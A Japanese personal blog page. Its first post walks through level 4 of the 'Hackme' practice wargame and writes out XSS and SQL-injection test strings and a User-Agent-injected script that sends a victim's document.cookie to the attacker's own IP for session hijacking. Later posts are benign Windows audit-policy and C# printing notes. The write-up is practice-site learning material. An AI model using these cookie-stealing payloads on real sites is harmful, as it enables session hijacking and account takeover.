ひとこと

― 今日のひとこと ―
年に1回くらい、EVE Onlineやりたくなるのよね。
(2025.12.24)

2016年1月21日木曜日

Hackme攻略 Lv4

3年振りくらいか?Hackmeに再挑戦。Lv4を攻略する。



以下、Hackmeの攻略に関するネタバレを多大に含みます。自力で攻略したいなら見ちゃだめです。




[Lv4]




1.ヒントを探す

URLやソースコードには特に手掛かりなし。
とりあえずフォームでのXSSとSQLインジェクションを試してみるか。

ID :
<script>alert("test")</script>
Password :
' or 1=1--

でログインを試みる。結果は・・・

まぁ失敗ですよね。フォームから攻撃するわけではなさそうだ。

なぜだか知らないがアクセスログが表示されている。
ログインに失敗したユーザの接続元IPアドレスまたはログインに成功したユーザのユーザ名と、
ユーザが送信したUser-Agentが表示されている。


2.考える

表示されたログを読み解くと、どうやらfoobarというユーザはまだログアウトしていないようだ。
それをわざわざ明示するあたり、これはセッションハイジャックせよということなのだろう。

セッションを奪うにはターゲットとするユーザのセッションIDを知る必要がある。
セッションIDはCookieに記録されるので、どうにかしてターゲットのCookieの値を窃取すればいいわけだ。
Webアプリケーションでサニタイジングが適切に行われていなければ、
HTTPリクエストにスクリプトを混入させることでXSSを実行してCookieの値を盗み出すことができるかもしれない。

しかし、その場合に重要なのは
「XSSではクライアントPC上でスクリプトが実行される」「Cookieは通信の度にやりとりされる」
ということだ。

つまり、今回foobarのセッションIDを窃取してセッションハイジャックを成功させるには、
以下の条件をクリアしなければならないわけだな。

A :
HackmeのWebページにスクリプトを埋め込むことが可能であること
B :
Aをクリアした上で、スクリプトが埋め込まれたWebページにfoobarがアクセスし、
foobarのPCでスクリプトが実行されること

無理じゃん。
foobarは問題のために便宜的に用意されたユーザであって、実在しないんだろ。
サーバ側で実行されているプログラムのメモリダンプか何かから有効なセッションIDを探せとでも?
まさかそんな壮絶に面倒くさいことにはならないよな・・・

何か見落としてはいないだろうか。過去の問題を思い起こした。
そういえば、Lv2も解いてて少し引っかかったんだよな。
結局すごく単純な条件文でSQLインジェクションできたけど、
あれだってもっと複雑なSQL文で問い合わせたりその結果をプログラムで検証されたりしていたら、
あんなにすんなりクリアすることはできなかったはずだ。
つまるところHackmeは、今やあまり現実的でない構成に思えるほど挑戦者に親切な、
あくまでゲーム的な楽しみを提供するためのサイトなのではなかろうか・・・

とりあえず深く考えず、思いついたことを試してみようか。
条件Bはひとまず無視して、条件Aについて考えよう。

画面には、ユーザ名またはIPアドレスとUAが過去5件分表示されている。
過去5件分が表示されるということは、自分が改竄した内容が後の数人にも表示される
(=後の数人に対してXSSが有効である)可能性があるということだ。

スクリプトを埋め込めそうな箇所はないか?

ユーザ名はサーバ側で管理されているはずだから却下。
IPアドレスは、IPパケットの送信元IPアドレス部を詐称することは可能だがそうするとレスポンスを受け取れないし、そもそもスクリプトを書けるほどデータを格納できないので却下。
User-AgentはHTTPリクエストのヘッダを書き換えればいいし、簡単なスクリプトを格納できる程度のデータ量は許容される。こいつがあやしい。


3.検証する

User-Agentにスクリプトを埋め込み、それが実行できるかどうかを確認する。
HTTPリクエストを書き換える方法は色々あるが、今回はFirefoxのアドオンである『UAControl』を使った。


再度ログインしてみると・・・

・・・自分が意図したものとは違うが、XSSが可能だそうだ。
まぁ本当にできてしまうとHackmeのサイト自体が危険ってことになりかねないから、何らかのコントロールを行っているのだろう。
ログの表示を見た感じではWebページの改竄もできている?



4.Hackyou!

ではCookieの値を窃取するスクリプトを送ってみよう。
ブラウザで動作するスクリプトといえばJavaScriptだが、
自分はJavaScriptに明るくないのでどんな処理が可能なのかはよく知らない。
本当にalertとdocument.cookieくらいしか知らないからな。でもやるべきことは決まっている。
foobarがアクセスしてきた時に、そのCookieの値をこちらが管理する端末に送信させればいいのだ。

具体的には、スクリプトでWebページを移動したり読み込んだりして、パラメータにCookieの値を持つHTTPリクエストが自分の元に届けばいい。
<img src="http://{自分のIP}/a?b="+{foobarのcookie} height="1" ookie="" width="1" />
とか
<iframe foobar="" height="1" ookie="" src="http://{自分のIP}/a?b="+{foobarのcookie} width="1"></iframe>


とかでもいいのかもしれないけど、JavaScriptだけを使う方がシンプルに書けそうだ。
JavaScriptでWebページを移動するには「document.location="{移動先のURL}"」と書くらしいので、これを使って次のスクリプトを送ってみよう。
これでいけそうなら一時的にサーバを稼働させて、パケットをキャプチャしてみるか。。
<script>document.location="http://{自分のIP}/a?b="+document.cookie;</script>
再びUser-Agentを書き換えてログインしてみる。


すると・・・

なんかでた!!!

というかやっぱりこういう感じなのね・・・
Hackmeには挑戦用のアカウントでログインしてるからそのセッションIDは変えられないし、
これならサーバを用意しなくてもいいからね。なんかちょっと残念な具合だけどね。


いま表示された値をCookieに追加する。これも方法は色々だがFirefoxのアドオン『Firebug』を使った。


再度ログインすると・・・


Lv4クリア!



これでいいのか?って感じはするけど解けてよかった
でもどっと疲れたぞ・・・

2015年11月14日土曜日

システム監査ポリシーをプログラムで編集したい

Windows Server 2012をいじっていて、監査ポリシーの設定について調べたこと。
ちなみに僕が編集したかったのは「詳細なファイル共有」「ログオン」「ログオフ」あたりで、成功の監査を有効にできないか模索した。


■監査ポリシーの設定がしばらくすると元に戻る・・・なにこれ・・・
secpol.mscのGUIで変更した内容はそのまま残るのに、
auditpolコマンドで変更した場合はなぜかしばらくして無効化されるという事態が発生。
しかもauditpolコマンドで変更した内容はsecpol.mscの画面には反映されない。
なぜだ?

→secpol.mscに表示されるのはセキュリティポリシーではなくグループポリシーだった!
(参考:https://support.microsoft.com/en-us/kb/2573113)

なにそれ。secpol.mscのウィンドウタイトルは「ローカル セキュリティポリシー」なのに。
ややこしいんだよ・・・
つまりsecpol.mscのGUIでセキュリティポリシーを変更したと思っていたが実はグループポリシーを変更していて、auditpolコマンドではセキュリティポリシーを編集していたってことだな。

ちなみにグループポリシーに上書きされるタイミングは「OS起動」「一定時間経過」など。
(参考:https://technet.microsoft.com/ja-jp/library/cc179176.aspx)

■セキュリティポリシーとグループポリシーの違いは?
まず適用の優先度が違うらしい。
セキュリティポリシーよりグループポリシーの設定が優先されるとか。
そしてグループポリシーはネットワークの管理者により一元管理できるもので、
セキュリティポリシーは各端末で個別に設定できるものとかなんとか。
セキュリティポリシーがグループポリシーに上書きされるのを防ぐこともできるらしいが、
正直よくわかってない。少なくともコマンドやプログラムでそうするのは難しそうだ。

プログラムでポリシーを変更したいなら、
要は端末に記録されたグループポリシーの設定を変えればいいってことだよね。
セキュリティポリシーだけ変えても上書きされるからね。


■グループポリシーを自動変更する方法
まず、ポリシーを変更する方法として4つの手段を試してみた。

①auditpolコマンドでサブカテゴリを編集
→auditpol.exe /set /subcategory:"詳細なファイル共有" successful:enableとかそんな感じのコマンドで直接編集したがグループポリシーに無慈悲な上書きを受け失敗。

②seceditコマンドで設定ファイルをインポート
→設定ファイルをエクスポートして好き勝手編集した後インポートするという企て。セキュリティポリシーしか変更できないと気付き頓挫。

③auditpolコマンドで設定ファイルをインポート
→auditpol /backup /file:{ファイル名}で設定ファイルをエクスポートして思うさま編集した後/resotreでインポートするという計画。これもグループポリシーに上書きされ失敗。

④gpupdateコマンドで設定ファイルを反映
→結論から書くと成功。やったぜ!手順は後述


■gpupdateでの設定ファイル反映の手順
もちろん管理者権限を使います。システム権限で実現できるかどうか確認してない。

1.まず現在の設定をエクスポートする。auditpol /backup /file:{ファイル名}
2.エクスポートした設定ファイルをプログラムで編集する。
設定ファイルはCSV形式。編集したいサブカテゴリのGUIDをキーにして1行ずつチェックしていき、
合致するGUIDを持つ行の「InclusionSetting」と「SettingValue」の列の値を、
それぞれ「成功」「1」に書き換える。
3.グループポリシーを上書きする。
グループポリシーの設定ファイルは↓のパスに格納されている。
%SYSTEMROOT%\system32\GroupPolicy\Machine\Microsoft\Windows NT\Audit\Audit.csv
このaudit.csv削除または移動し、2で編集したファイルを新たに格納する。
4.グループポリシーを強制反映する。gpupdate /force

これでグループポリシー(ローカルグループポリシー)を思うがままに編集できた。

(実装した後に気付いたんだけど、1はauditpolでエクスポートなんかしなくてもグループポリシーのファイルをコピーしてくればよかったんだよな。)

注意すべきこと。グループポリシーとセキュリティポリシーの設定ファイルの位置。
グループポリシーは上述の通りだがセキュリティポリシーは↓
C:\Windows\security\audit\audit.csv

どちらもaudit.csvなんだよな。ややこしい・・・
しかもそれぞれで言語が違う。動作に影響はないみたいだけどほんと統一感ないよな

ちなみにauditpolでサブカテゴリを直接編集したりすると、セキュリティポリシーのファイルだけが更新される。
その後gpupdateを実行するとグループポリシーのファイルでセキュリティポリシーのファイルが上書きされていた。



(2015.12.11追記)
auditpol /backupではなくグループポリシーのaudit.csvを編集してgpupdateするようにしてみたけどうまく動いた。
ただ、そことは直接は関係ないが問題が1点発覚。

OSインストールしたばかりであるなど、gpedit.mscなどのツールで1度もグループポリシーを編集していない状態だと、上記プログラムを実行すると「グループポリシーはうまく変更できているがセキュリティポリシーが変更されない」というおかしなことになるのだ。
gpedit.mscやsecpol.mscの画面上は変更されているように見えても、auditpol /get /subcategory"詳細なファイル共有"などで確認すると「監査なし」となっている。

それというのも、ツールで編集するまではグループポリシーのaudit.csvとセキュリティポリシーのaudit.csvが存在しない(作られない)ので、グループポリシーのaudit.csvを作ってgpupdateしても本来反映先となるはずのセキュリティポリシーが存在しないことが原因らしい。

ではセキュリティポリシーのaudit.csvも生成すればいいのでは?と実験してみたがこれではだめだった。

auditpol /restoreでグループポリシーのaudit.csvをセキュリティポリシーとしてリストアしたらうまくいった。


2015年10月28日水曜日

C# Windowsプログラミングおぼえがき No.2 - 印刷ジョブ -

バックグラウンドプログラムで印刷ジョブから印刷情報を取得して、
それをActionで出力するというプログラムをC#で作った。
結構ちゃんと作ってたら長くなったので近いうちに要点だけまとめて載せよう

悩んだところがいくつかある。
・印刷ジョブをどうやって検知する?スレッド終了イベントの待機は?
→WaitForMultipleObjects()とFindNextPrinterChangeNotification()で解決。
・印刷情報はどうやって取得する?
→PRINTER_NOTIFY_INFO_DATA構造体とか定義してメモリから読むのとWMIのWin32_PrintJob

上記2つをWhile(!stopFlg)といった感じで
終了フラグがONになるまで印刷ジョブか終了イベントを検知する度に実行。

これでだいたい「印刷される度に値を自動出力」は可能になる。
しかしここで最大の難所が!!

・1度の印刷の終了はどうやって判定する?

Whileループの中で、印刷ジョブを検知して情報を取得したら、
次のWaitForMultipleObjects()が実行されるまでに
終了判定(印刷完了したから値を出力するよって処理)を行う必要がある。
じゃないと値を出力しないままプログラムがイベント待機に入ってしまうから。

なので、どの段階で印刷情報をすべて取得できたかは
印刷ページ数を正しく取得できたか否かで判定しよう、と考えた。

でも、1度の印刷で印刷情報の通知は何回も受信するわけだけど
それぞれ「ページ数」が違うんだよね。通知が届くごとに変わる。
基本的には増えていく。でもたまに0になる。
ページ数は正確に取得したいから避けては通れない。なんか法則があるのか?

紙印刷しまくって検証するわけにもいかないから、
仮想プリンタでPDF出力してジョブの中身を眺めてみた。
するとどうだ。あるパターンを見出すに至った。

「ページ数が過去最高かつそれが2回連続している場合、それが実際のページ数と一致する」
これだ!印刷ページダブルマウンテンの法則と名付けよう。

で、両面印刷だったり片面複数ページ印刷だったりするならそれらも考慮し
取得したページ数を再計算してやれば実際の印刷用紙枚数になるわけだ。
ちなみに片面複数ページ印刷の情報はPrintTicketクラスを使って取得した。
PrintTicketは最低サポートOSがVistaSP2だのServer2008R2だのとされているが
XPやServer2003でも使えてた。WMIのクラスもXPで使えるものは多い。


そんなこんなで実装完了。と思いきや・・・
XPS Docment Writerの印刷情報がたまに取れないorz

どうやらXPSには印刷ページダブル云々の法則が当てはまらないようだ。。

仕方ないので改めてネットで情報収集していたところ
JOB_STATUSとかいういかにもな値が存在することが判明。
状態の種類はたくさんあるんだけど、DELETEDになった時点で出力した値が正確だった。
これプリンタドライバの仕様によっては変わるのか?

まぁXPSでもPDFでもちゃんと値を取得できるようになったからいいや。


印刷情報を取得するコードは意外とサンプルが少ない。
苦労して見つけてもすごく単純で、物足りないものが多かった。
それも英語ばっかりだしね・・・

ああ疲れた





最後に小技をひとつ
仮想プリンタで両面印刷を実現する荒業について。

基本的に仮想プリンタは両面印刷に対応していない。
ファイルに裏面などないから当然といえば当然だな。
なので仮想プリンタの印刷設定には両面印刷の項目すら存在しない。

ではどうやって両面印刷のジョブを仮想プリンタに送るのか?
仮想マシンで物理マシンの仮想プリンタを使うのだ!

仮想だの物理だのややこしいが、整理するととっても単純である。

たとえば、VMware上で印刷を実行するとする。
プリンタには物理マシンにインストールされた仮想プリンタを指定する。
そしてその仮想プリンタの印刷設定画面を開くと・・・
両面印刷の項目があるではないか!!!
そいつを設定してやると、実際にジョブで両面印刷が指示される。

偶然見つけた方法だけどデバッグには有効だよね。
でもこれ、片面複数ページ印刷の項目は消えるんだけどね。

[追記 2018/02/20]
プログラムのアップロードをすっかり忘れていました。
改めてコードを若干整理してMITライセンスで公開中。
PrintMonitor - https://bitbucket.org/marolabo/public

2015年7月24日金曜日

C# Windowsプログラミングおぼえがき

■インストール済みソフトウェア一覧取得
PCにインストールしたソフトの一覧がほしいとき。
WMIでは取得できないものも多々あると思われるので、レジストリから情報を得る。

1.Uninstallからソフトウェア名を取得
uninstallのサブキーのうちDisplayNameが記載されたものを取得する。
これがコントロールパネルの「プログラムのアンインストール」で表示されるものだと思われる。
ちなみにUninstallではインストール日時やバージョンなども取得できる。

2.App Pathsから実行ファイル名を取得
uninstallからは実行ファイル名を取得できないので、
uninstallでInstallLocationを取得した上でApp Pathsのサブキー順次取得し、
そのPathの値がInstallLocationで取得したものと一致した場合に既定値を実行ファイルパスとして取得する。

64bitOSと32bitOSではレジストリパスが若干異なるので注意。
64bitの場合はSoftwareの直下にWow6432nodeというキーが入る。


■インストール済みセキュリティソフト一覧取得
WMIのAntiVirusProductを使う。XPより後のOSではSecurityCenter2を指定すること。
取得できるproductStateは、その製品にどんな機能があるかを表す3Bytesの値。
値ごとの具体的な意味はこちら
別に製品の設定で機能のON/OFFを変えてもそれが反映されるわけではないので注意。
製品の実際の設定値を知るには製品ごとのレジストリを読むしかない。


■Windows Defenderについて
ウィルス定義ファイルの更新タイミングはざっと見た感じだと次の3パターンがある。

①WindowsUpdate
②スキャン直前
③定期チェック

定期チェックはWindows8以降だけ対応しているのかも。Windows7では設定できなさそうだった。
スキャン直前に更新チェックするかどうかは設定次第なんだけど、
Windows7までではそれを除くと更新タイミングはWindowsUpdateだけということに・・・

そしてレジストリを眺めただけではどんな設定項目があるのか分かりづらい。
手動で設定してはじめて作成されるキーとかあるし。
他のアンチウィルスソフト使ってたら設定いじれないし。